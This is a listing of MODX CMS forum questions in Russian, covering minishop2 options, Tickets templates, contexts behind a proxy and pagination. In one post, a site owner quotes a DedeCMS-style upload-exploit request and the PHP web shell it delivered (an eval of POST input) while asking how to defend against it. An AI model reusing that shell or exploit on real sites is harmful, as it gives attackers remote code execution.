Вопросы

Рандомное обновление списка опций в карточке товара minishop2

Как запретить вывод опций товара в карточке в случайном порядке? Нашёл в интернете решение: «в файле core/components/minishop2/model/minishop2/msproductdata.class.php
меняем строку:
$c->leftJoin('msOption', 'msOption', 'msProductOption.key=msOption.key'); на:
$c->rightJoin('msOption', 'msOption', 'msProductOption.key=msOption.key');»
но у меня и так rightJoin уже стоит в файле, а всё равно рандомом выводит
Владимир
23 августа 2018, 11:32
modx.pro
834
0

С modx.pro пришло 200 писем-оповещений

Всем привет. Не знаю куда это писать (может уже и проблемы нет), но мне ночью пришло очень много писем-уведомлений об одном и том же комментарии к моему тикету из сообщества.
Виталий Барышников
23 августа 2018, 02:23
modx.pro
1 232
+1

Получение msProduct по article

Подскажите пожалуйста, необходимо получить выборку ресурсов minishop по стандартному article. Пробую как-то так, но не получается:

<?php

if ($data = $modx->getObject('msProductData', array('article:IN' => [28039, 28040]))) {
    
    foreach ($data as $item) {
		$pagetitle = $item->get('pagetitle');
	    echo $pagetitle;
		
	}    
   
}
Подскажите как правильно это сделать?
Dolce
22 августа 2018, 19:24
modx.pro
1
4 513
0

Подозрительные письма

Всем привет!
На одном рабочем сайте есть простая форма заявки — телефон и имя. Работает через ajaxForm + FormIt.
Периодически через эту форму приходят письма с подобным содержанием:
cfg_softtype: php
cfg_mediatype: php
cfg_imgtype: php
cfg_not_allowall: txt
newname: asd.php
activepath: /data/cache/
f: form1.enclosure
cfg_basedir: ../../
job: upload
uploadfile: asd.php
Что интересно, в форме нет поля для файла, и не прописан enctype multipart/form-data. Но на почту, например, в этом письме, пришёл пхп-файл с содержанием:
<?php echo "dedecms";eval($_POST[0]);?>
Очевидно, что это какая-то попытка взлома. Но не совсем понятно, как именно это работает — вручную ли или автоматом, и какие могут быть последствия. Связано ли это с недавними взломами сайтов на модексе?
И главный вопрос — как защититься от такого?
Заранее спасибо за советы.
Dmitry
22 августа 2018, 14:28
modx.pro
841
0

Переключение контекстов на сервере расположенном за прокси

Добрый день! Столкнулся с проблемой — не могу понять как переключить контекст в зависимости от того с какого порта пришёл пользователь. Имеется локальный apache2, на нём крутиться modx revo. Есть 2 контекста web и web1. Локально проблем с переключением контекстов нет, использую vhost+contextRouter. Проблема возникает тогда, когда надо дать доступ к ресурсу из внешней сети. Как реализовано — есть noname.no-ip.org имя, на проксе настроен редирект на апач если пользователь зашёл по noname.no-ip.org:666. По дефолту пользователю выдаётся контекст web. Вопрос, как отдать контекст web1 пользователю который пришёл по noname.no-ip.org:667?
Дмитрий
22 августа 2018, 13:38
modx.pro
15 417
0

Опции minishop2

Всем привет!
Подскажите пожалуйста, может кто сталкивался, но со временем галочки в опциях minishop2 снимаются.
Более конкретней на скрине
В лагах нет не чего, за что можно было бы зацепиться, в чем может быть проблема?
Всем заранее спасибо, на самом деле это очень критично.
Сергей
22 августа 2018, 10:18
modx.pro
1 091
0

Запрет на кириллицу в файловой системе

Ребята, привет!

А существует какой-нибудь плагинчик, который бы в дереве файлов в принципе запрещал вводить в именах файлов и папок кириллицу и прочую спецсимвольную запрещенку?
Роман Ильин
22 августа 2018, 00:45
modx.pro
1 286
0

Некликабельная звёздочка (добавить в избранное) в тикете

Чанк tpl.Tickets.meta — не могу внести тикет в избранное, т.е. кликнуть мышкой по звёздочке, рейтинг (нажатие на + — с результатом) работает.
Я уже почти сдался… Кто-то может подсказать решение проблемы?
Может быть класс
<span class="ticket-star-count">
неверный??

содержимое чанка ниже:
<div class="ticket-meta row" data-id="[[+id]]">
	<span class="col-md-5">
		<i class="fa glyphicon glyphicon-calendar"></i> [[+date_ago]]
		&nbsp;&nbsp;
		<i class="fa glyphicon glyphicon-user"></i> [[+fullname]]
	</span>
	<span class="col-md-2"><a href="[[~[[+section.id]]]]"><i class="fa glyphicon glyphicon-folder-open"></i> [[+section.pagetitle]]</a></span>
	<span class="col-md-2">
		<span class="ticket-star[[+can_star]]">[[+stared]][[+unstared]] <span class="ticket-star-count">[[+stars]]</span></span>
		&nbsp;&nbsp;
		<i class="fa glyphicon glyphicon-eye-open"></i> [[+views]]
	</span>
	<span class="col-md-2 pull-right ticket-rating[[+active]][[+inactive]]">
		<span class="vote plus[[+voted_plus]]" title="[[%ticket_like]]">
			<i class="fa glyphicon glyphicon-arrow-up"></i>
		</span>
<span class="rating[[+rating_positive]][[+rating_negative]]" title="[[%ticket_rating_total]] [[+rating_total]]: ↑[[+rating_plus]] [[%ticket_rating_and]] ↓[[+rating_minus]]">[[+rating]]</span>
		[[+can_vote]][[+cant_vote]]
		<span class="vote minus[[+voted_minus]]" title="[[%ticket_dislike]]">
			<i class="glyphicon glyphicon-arrow-down"></i>
		</span>
	</span>
</div>
[[+has_files]]

<!--tickets_can_vote <span class="vote rating" title="[[%ticket_refrain]]"><i class="glyphicon glyphicon-minus"></i></span>-->
<!--tickets_cant_vote <span class="rating[[+rating_positive]][[+rating_negative]]" title="[[%ticket_rating_total]] [[+rating_total]]: ↑[[+rating_plus]] [[%ticket_rating_and]] ↓[[+rating_minus]]">[[+rating]]</span>-->
<!--tickets_active  active-->
<!--tickets_inactive  inactive-->
<!--tickets_voted_plus  voted-->
<!--tickets_voted_minus  voted-->
<!--tickets_rating_positive  positive-->
<!--tickets_rating_negative  negative-->
<!--tickets_has_files
<ul class="ticket-files">
	<strong>[[%ticket_uploaded_files]]:</strong>
	[[+files]]
</ul>-->
<!--tickets_can_star  active-->
<!--tickets_stared <i class="glyphicon glyphicon-star stared star"></i>-->
<!--tickets_unstared <i class="glyphicon glyphicon-star unstared star"></i>-->
Игорь
21 августа 2018, 22:47
modx.pro
1 239
0

Проблема с генерацией оглавления

Сделан сниппет в точности, как в статье Автоматическая генерация оглавления страницы.

Вызывается так
{$modx->resource->content | makeContents}
и всё работает, если есть из чего делать оглавление. Если же нет, то content не выводится совсем.

За это должен отвечать этот код.
// Если в тексте нет заголовков от h1 до h5 - выходим
if (!preg_match_all('#<h([1-5])>(.*?)</h[1-5]>#', $input, $headers)) {return;}
// Если заголовков меньше 2х - тоже выходим
if (count($headers[0]) < 2) {return;}
Что не так с return?
Ксения
21 августа 2018, 18:50
modx.pro
1 261
0

Не работает кнопка ajaxTplMore

Приветствую!

Вывожу ресурсы с помощью mFilter2 с ajax пагинацией button.
В документации к pdoPage написано — По умолчанию ajaxTplMore =
@INLINE <button class="btn btn-default btn-more">[[%pdopage_more]]</button>
Rootiys
21 августа 2018, 15:40
modx.pro
2 406
0